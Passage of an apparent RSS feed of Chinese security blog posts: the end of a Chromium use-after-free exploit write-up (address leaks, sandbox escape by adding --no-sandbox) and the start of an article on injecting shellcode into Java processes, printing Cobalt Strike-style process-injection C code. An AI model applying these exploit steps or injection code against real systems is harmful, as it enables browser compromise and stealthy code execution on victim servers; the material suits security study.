src="https://wechat2rss.xlab.app/img-proxy/?k=72c4c3ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7msibtC1wMCpkicP7iab2sdG2F6DmZuYjCF1BuuZDvRELzqlhiaErm6oaUqQ%2F640%3Fwx_fmt%3Dpng"/>所以此时需要填入相应的函数地址，保证在执行GetProcess与GetBrowserContest两个虚函数时不会发生崩溃，并在执行IsOffTheRecord时能够泄露堆地址。通过查找可以首先找到一个符合条件的函数ChromeMainDelegate::CreateContentClient，此函数会将this+8处地址返回给调用者，可以将此函数地址填入堆喷占位的数据中，在调用GetProcess与GetBrowserContext虚函数时就回去调用此函数。<img class="rich_pages wxw-img" data-ratio="0.10055096418732783" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="726" src="https://wechat2rss.xlab.app/img-proxy/?k=1f4a464a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mPXDsNCIQG74SbTFN3HJSmooIW0vKEyypKMT7hsY5hlzqMRy3c4PMuQ%2F640%3Fwx_fmt%3Dpng"/>再查找到ChromeMainDelegate类虚表<img class="rich_pages wxw-img" data-ratio="0.04133545310015898" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="629" src="https://wechat2rss.xlab.app/img-proxy/?k=fb091332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m5msCycc6icgQwPXSmCTKpQBgtdrQ1aicuaankEg4h2Ew65VoZaMOfbAw%2F640%3Fwx_fmt%3Dpng"/>查看虚表得知ChromeMainDelegate::CreateContentClient函数地址存放在起虚表的0x70偏移处。<img class="rich_pages wxw-img" data-ratio="0.44696969696969696" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1056" src="https://wechat2rss.xlab.app/img-proxy/?k=c903d396&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mPmQ9MsVJybEG2dlXEXsvAvbRzJRne8WwLQtesK6wW05pHKB98jLPIA%2F640%3Fwx_fmt%3Dpng"/>而InstalledAppProviderImpl::FilterInstalledApps在调用虚函数GetProcess时会从内存中获取一个地址将其加0x48并在此处获取一个函数去执行，所以可以将ChromeMainDelegate虚表地址+(0x70-0x48)填入堆喷数据中，当InstalledAppProviderImpl::FilterInstalledApps去调用GetProcess时就会转入ChromeMainDelegate::CreateContentClient函数<img class="rich_pages wxw-img" data-ratio="0.06714413607878246" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1117" src="https://wechat2rss.xlab.app/img-proxy/?k=29347345&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mKwH2zuSibMvFblicw4TvWbuoMLz0pic30tv7mLp4taHatIEkKxp8icD7DA%2F640%3Fwx_fmt%3Dpng"/>在ChromeMainDelegate::CreateContentClient函数执行后会将堆喷数据地址+8偏移处的地址读出并再读出该地址0xD0偏移处的地址并调用，此处对应GetBrowserContext虚函数调用。于是可以将ChromeMainDelegate虚表地址-(0xD0-0x70)填入堆喷数据中当GetBrowserContext被调用时会再次转入ChromeMainDelegate::CreateContentClient函数<img class="rich_pages wxw-img" data-ratio="0.08134394341290893" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=2ddec967&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mPibzcNznkTIC7Nsthhdpe3vJiaTibQlOMlWO9gaN5uvibZLowfWtMbQqfg%2F640%3Fwx_fmt%3Dpng"/>最后在调用虚函数IsOffTheRecord时需要找到一个可以泄露堆地址的函数填入相应位置，通过查找找到符合条件的虚函数content::WebContentsImpl::GetWakeLockContext，由于此函数还会将this指针填入堆地址+0x8偏移处，所以也可以为后续的this地址泄露提供方便。<img class="rich_pages wxw-img" data-ratio="0.19853431045969352" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1501" src="https://wechat2rss.xlab.app/img-proxy/?k=a84bd4c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mVCu6bQNsxyUe8tfNkaHSvM0pNolNcRUppDxyjJ39uiafJviavOZhsxCg%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.13930885529157666" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=32e04249&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7miczKHfnUEaSOPW4BMicTSVcHyDYiayZicRovrBvtfDibn4Hqb7XBFkib69Hw%2F640%3Fwx_fmt%3Dpng"/>此函数会创建一块内存用作对象内存，并会将此内存地址写入this+0x10+0x650偏移处，也就是堆喷占位数据的0x660偏移处</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><img class="rich_pages wxw-img" data-ratio="0.15072463768115943" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="345" src="https://wechat2rss.xlab.app/img-proxy/?k=6f3fd4bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7m3o27D6ff6jxibQXEjwxh9PCx4XwddFiblNvVrAyd1hVLes2VicvwzKV9g%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.34937888198757766" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="644" src="https://wechat2rss.xlab.app/img-proxy/?k=e98e6133&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mf1pp6sw3O3yEBFHd4RU4wGkmKssfW2u64rktp4ibsKBbILDTMlSUnbw%2F640%3Fwx_fmt%3Dpng"/>但要注意的是content::WebContentsImpl::GetWakeLockContext函数会先去判断this+0x10+0x650偏移处是否为0，如果为0才可以进行创建堆内存并写入this+0x10+0x650的操作<img class="rich_pages wxw-img" data-ratio="0.3752665245202559" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="469" src="https://wechat2rss.xlab.app/img-proxy/?k=82ec470d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mxleOE7PibBgbcKicgJjOmRw8FA5QrMsUWbIG1sLUbrKO3C1POyDBrrDg%2F640%3Fwx_fmt%3Dpng"/>通过以上操作，在经过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">render_frame_host_-&gt;GetProcess()-&gt;GetBrowserContext()-&gt;IsOffTheRecord()</code>后就可以在堆喷占位数据的0x660偏移处得到一个需要的堆地址</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span><span>this地址泄露</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于在上一步操作中已经泄露了堆地址并且还将this指针写入了堆地址+0x8偏移处，所以可以利用前面泄露堆地址的思路将UAF漏洞再触发一次，并把之前拿到的泄露的堆地址写入堆喷占位数据的对应偏移处即可获取到this指针，由于前面的漏洞利用this指针正好指向我们可控的堆喷占位数据，拿到了this地址也就得到了当前可控数据的地址。继续将ChromeMainDelegate::CreateContentClient函数放入GetProcess与GetBrowserContext函数对应的调用位置，现在只需要再找到一个符合条件可以将this指针从堆地址中获取到的函数，通过查找找到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">anonymous namespace&#39;::DictionaryIterator::Start</code>函数正好符合要求。<img class="rich_pages wxw-img" data-ratio="0.4435612082670906" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="629" src="https://wechat2rss.xlab.app/img-proxy/?k=3bff8f13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mSj8iaia3eBQgyynSibQ8VrV1cq0cZzHt15ibgWkvOdkCXwfUUz4d56JKzw%2F640%3Fwx_fmt%3Dpng"/>结合调试再通过与泄露堆地址一样再次触发UAF漏洞便可得到this指针<img class="rich_pages wxw-img" data-ratio="0.6208791208791209" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="364" src="https://wechat2rss.xlab.app/img-proxy/?k=6a8e2aa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mDfpGQCoeSJ2zB6NGRYgeZ4aNZKwf8uibxoY63snjhjicaw65v4XZ9icLQ%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.3495297805642633" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="638" src="https://wechat2rss.xlab.app/img-proxy/?k=1a123555&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mbyKo3zqg3VpZqYk27rujv5rociaDaugaZGJHtlo4wooOZlV9U9IUkbA%2F640%3Fwx_fmt%3Dpng"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span>沙盒逃逸</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">沙河逃逸的思路比较简单，通过回调去执行SetCommandLineFlagsForSandboxType函数将--no-sandbox参数添加到current_process_commandline_中。首先需要找到一个可以调用回调函数的虚函数，通过查找找到content::responsiveness::MessageLoopObserver::DidProcessTask函数<img class="rich_pages wxw-img" data-ratio="0.17929292929292928" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=62a5e221&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mBJlUe087ehFoEhLA4BwoVNskcbYurMB8Qict3hyyeTbiaibyTf4giclq4w%2F640%3Fwx_fmt%3Dpng"/>现在再找到一个可以传递多个参数的回调函数，类似如下形式的<img class="rich_pages wxw-img" data-ratio="0.2535641547861507" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="982" src="https://wechat2rss.xlab.app/img-proxy/?k=a73e5f01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mpRBSPV1nGqFsZcBp1speHlrpjHNN3mqNKP0mYYGd892q8gWuwgSiblA%2F640%3Fwx_fmt%3Dpng"/>然后将SetCommandLineFlagsForSandboxType函数地址填入被泄露了地址的buffer的相应偏移处就可以将沙箱关闭，但调用SetCommandLineFlagsForSandboxType函数还需要先得到全局变量current_process_commandline_<img class="rich_pages wxw-img" data-ratio="0.07023809523809524" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=83550427&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mAlC9ib2pMwxBiaCw75IAEQeMDLRsfc5xuFVibFbuYjygz0iclOypcchicUg%2F640%3Fwx_fmt%3Dpng"/>通过extensions::SizeConstraints::set_minimum_size函数将current_process_commandline_中保存的指针拷贝进前文中已经被泄露地址的可控地址中。<img class="rich_pages wxw-img" data-ratio="0.13735558408215662" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="779" src="https://wechat2rss.xlab.app/img-proxy/?k=b09ca2ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mggpUzN5ibztVBHIbJbgKSj9occtUXe2YbL3qhJic3YQv6kxZuobxibS3g%2F640%3Fwx_fmt%3Dpng"/>最后调用SetCommandLineFlagsForSandboxType函数，将--no-sandbox(0)标志添加进全局变量current_process_commandline_中<img class="rich_pages wxw-img" data-ratio="0.24355300859598855" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1047" src="https://wechat2rss.xlab.app/img-proxy/?k=bc76bbd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mQpZNtvYeajIcyGIXfWr1MurbUSU1eKBqG1xbQEHiaceicGcZHyH4yS8A%2F640%3Fwx_fmt%3Dpng"/>最后生成新的渲染器过程（例如，使用iframe到其他受控原点或开启新的Tab），并再次使用渲染器漏洞利用(刷新)即可成功。<img class="rich_pages wxw-img" data-ratio="0.5036211699164346" style="display: block;margin-right: auto;margin-left: auto;" data-type="gif" data-w="1795" src="https://wechat2rss.xlab.app/img-proxy/?k=86a11b1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD52Tj0jZfxbt29aT3myAx7mPuICHx6OovKDiah4lGLqZIKLPx4zaBPRAaWjCoRyCJQwulxRBzxsECg%2F640%3Fwx_fmt%3Dgif"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>总结</span><span></span></h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">21224漏洞触发后在触发1062091前浏览器就产生崩溃——手动delete清理掉oob数组</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在开启mojo时修改RenderFrameImpl对象相应变量导致页面崩溃——21224中构造的读写原语在循环体中同时频繁读写会导致此问题，去掉部分不必要的读或写操作</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">将相应成员变量值写入对应的RenderFrameImpl对象偏移后mojo依然没有开启——在 81.0.4044.0版本chromium中在写入enabled_bindings_时需要将g_frame_map中拿到的RenderFrameImpl对象地址加0x68再加enabled_bindings_所在偏移，而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl对象的0x88偏移处。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">原POC中用到的MojoInterfaceInterceptor需要开启MojoJSTest绑定才能使用——使用其他方法传递sub frame中的句柄给main frame，例如在sub frame的onload事件中使用contentWindow获取其句柄再传递给main frame，但此方法直接在本地执行时会出现跨域的问题需要起一个服务器去访问执行。</section></li></ul></section>



<p><a href="2247484748">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7548ebf9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484748%26idx%3D1%26sn%3D1f5821b5bb377edfc01268df375f2885%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 25 Mar 2022 20:59:00 +0800</pubDate>
    </item>
    <item>
      <title>JVM Shellcode注入探索</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484681&amp;idx=1&amp;sn=865bf988731a5a3624e3232f27eb8aa3</link>
      <description>前言随着RASP技术的发展，普通webshell已经很难有用武之地，甚至是各种内存马也逐渐捉襟见肘</description>
      <content:encoded><![CDATA[<p>
原创 <span>p1ay2win</span> <span>2022-03-18 20:20</span> <span style="display: inline-block;"></span>
</p>

<p>前言随着RASP技术的发展，普通webshell已经很难有用武之地，甚至是各种内存马也逐渐捉襟见肘</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=66f42098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD4aOqN2pSkHZukM3dLQPyGicWpNP7vh4icw5Gm2gATGqOurL9dXx8iapGxSdoMXU2nwxASYpJrfokib5g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>前言</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">随着RASP技术的发展，普通webshell已经很难有用武之地，甚至是各种内存马也逐渐捉襟见肘。秉承着《JSP Webshell那些事——攻击篇（上）》中向下走的思路，存不存在一种在Java代码中执行机器码的方法呢？答案是肯定的，常见的注入方式有JNI、JNA和利用JDK自带的Native方法等，其中笔者还找到了一种鲜有文章介绍的，基于HotSpot虚拟机，并较为通用的注入方法。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>基于JNI</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Java底层虽然是C/C++实现的，但不能直接执行C/C++代码。若想要执行C/C++的代码，一般得通过JNI，即Java本地调用（Java Native Interface），加载JNI链接库，调用Native方法实现。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Cobalt Strike官网博客上有一篇《如何从Java注入shellcode》的文章，便是基于JNI实现，通过Native方法调用C/C++代码将shellcode注入到内存中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">//C/C++代码中声明的函数对应Demo#inject本地方法</span><br/><span style="line-height: 26px;">JNIEXPORT <span style="color: #c678dd;line-height: 26px;">void</span> JNICALL <span style="color: #61aeee;line-height: 26px;">Java_Demo_inject</span><span style="line-height: 26px;">(JNIEnv * env, jobject object, jbyteArray jdata)</span> </span>{<br/>   jbyte * data = (*env)-&gt;GetByteArrayElements(env, jdata, <span style="color: #d19a66;line-height: 26px;">0</span>);<br/>   jsize length = (*env)-&gt;GetArrayLength(env, jdata);<br/>   inject((LPCVOID)data, (SIZE_T)length);<br/>   (*env)-&gt;ReleaseByteArrayElements(env, jdata, data, <span style="color: #d19a66;line-height: 26px;">0</span>);<br/>}<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">//执行注入shellcode的代码</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">/* inject some shellcode... enclosed stuff is the shellcode y0 */</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">inject</span><span style="line-height: 26px;">(LPCVOID buffer, <span style="color: #c678dd;line-height: 26px;">int</span> length)</span> </span>{<br/>    STARTUPINFO si;<br/>    PROCESS_INFORMATION pi;<br/>    HANDLE hProcess   = <span style="color: #56b6c2;line-height: 26px;">NULL</span>;<br/>    SIZE_T wrote;<br/>    LPVOID ptr;<br/>    <span style="color: #c678dd;line-height: 26px;">char</span> lbuffer[<span style="color: #d19a66;line-height: 26px;">1024</span>];<br/>    <span style="color: #c678dd;line-height: 26px;">char</span> cmdbuff[<span style="color: #d19a66;line-height: 26px;">1024</span>];<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* reset some stuff */</span><br/>    ZeroMemory( &amp;si, <span style="color: #c678dd;line-height: 26px;">sizeof</span>(si) );<br/>    si.cb = <span style="color: #c678dd;line-height: 26px;">sizeof</span>(si);<br/>    ZeroMemory( &amp;pi, <span style="color: #c678dd;line-height: 26px;">sizeof</span>(pi) );<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* start a process */</span><br/>    GetStartupInfo(&amp;si);<br/>    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;<br/>    si.wShowWindow = SW_HIDE;<br/>    si.hStdOutput = <span style="color: #56b6c2;line-height: 26px;">NULL</span>;<br/>    si.hStdError = <span style="color: #56b6c2;line-height: 26px;">NULL</span>;<br/>    si.hStdInput = <span style="color: #56b6c2;line-height: 26px;">NULL</span>;<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* resolve windir? */</span><br/>    GetEnvironmentVariableA(<span style="color: #98c379;line-height: 26px;">&#34;windir&#34;</span>, lbuffer, <span style="color: #d19a66;line-height: 26px;">1024</span>);<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* setup our path... choose wisely for 32bit and 64bit platforms */</span><br/>    <span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">ifdef</span> _IS64_</span><br/>        _snprintf(cmdbuff, <span style="color: #d19a66;line-height: 26px;">1024</span>, <span style="color: #98c379;line-height: 26px;">&#34;%s\\SysWOW64\\notepad.exe&#34;</span>, lbuffer);<br/>    <span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">else</span></span><br/>        _snprintf(cmdbuff, <span style="color: #d19a66;line-height: 26px;">1024</span>, <span style="color: #98c379;line-height: 26px;">&#34;%s\\System32\\notepad.exe&#34;</span>, lbuffer);<br/>    <span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">endif</span></span><br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* spawn the process, baby! */</span><br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (!CreateProcessA(<span style="color: #56b6c2;line-height: 26px;">NULL</span>, cmdbuff, <span style="color: #56b6c2;line-height: 26px;">NULL</span>, <span style="color: #56b6c2;line-height: 26px;">NULL</span>, TRUE, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #56b6c2;line-height: 26px;">NULL</span>, <span style="color: #56b6c2;line-height: 26px;">NULL</span>, &amp;si, &amp;pi))<br/>        <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>  <br/>    hProcess = pi.hProcess;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span>( !hProcess )<br/>        <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* allocate memory in our process */</span><br/>    ptr = (LPVOID)VirtualAllocEx(hProcess, <span style="color: #d19a66;line-height: 26px;">0</span>, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* write our shellcode to the process */</span><br/>    WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&amp;wrote);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (wrote != length)<br/>        <span style="color: #c678dd;line-height: 26px;">return</span>;<br/>  <br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* create a thread in the process */</span><br/>    CreateRemoteThread(hProcess, <span style="color: #56b6c2;line-height: 26px;">NULL</span>, <span style="color: #d19a66;line-height: 26px;">0</span>, ptr, <span style="color: #56b6c2;line-height: 26px;">NULL</span>, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #56b6c2;line-height: 26px;">NULL</span>);<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这种方法需要自行编写个链接库，并上传到受害服务器上，利用起来并不显得优雅。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">还有另一种方法是利用JNA第三方库，可以直接调用内核的函数，实现Shellcode注入。在@yzddmr6师傅的Java-Shellcode-Loader项目中有实现，但JNA本质上还是基于JNI，使用时还是要加载JNA自己的链接库，并且JDK中默认不包含JNA这个类库，使用时需要想办法引入。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>基于JDK自带的Native方法</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一个介绍的可能是冰蝎的作者@rebeyond师傅首先发现的方法，一种基于JDK自带的Native方法的shellcode注入，严格来说是基于HotSpot虚拟机的JDK的自带Native方法。它是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun/tools/attach/VirtualMachineImpl#enqueue</code>Native方法，存在于用于attach Java进程的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tools.jar</code>包中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当运行在Windows上时，相应的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">enqueue</code> Native方法实现在/src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c中，其中<strong>Create thread in target process to execute code</strong>的操作，不能说跟前面Cobalt Strike注入shellcode的操作毫不相干，只能说是一模一样。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcyibO6RibZ0y47lCumKm6Cdonx41ZlNSoibt7a1oic8jSMrbIjpXCBco5LopCwbmEavFLA7gZwDib24K5L/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;">JNIEXPORT <span style="color: #c678dd;line-height: 26px;">void</span> JNICALL <span style="color: #61aeee;line-height: 26px;">Java_sun_tools_attach_VirtualMachineImpl_enqueue</span><br/>  <span style="line-height: 26px;">(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,<br/>   jstring pipename, jobjectArray args)</span><br/></span>{<br/>    ...<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/*<br/>     * Allocate memory in target process for data and code stub<br/>     * (assumed aligned and matches architecture of target process)<br/>     */</span><br/>    hProcess = (HANDLE)handle;<br/>    pData = (DataBlock*) VirtualAllocEx( 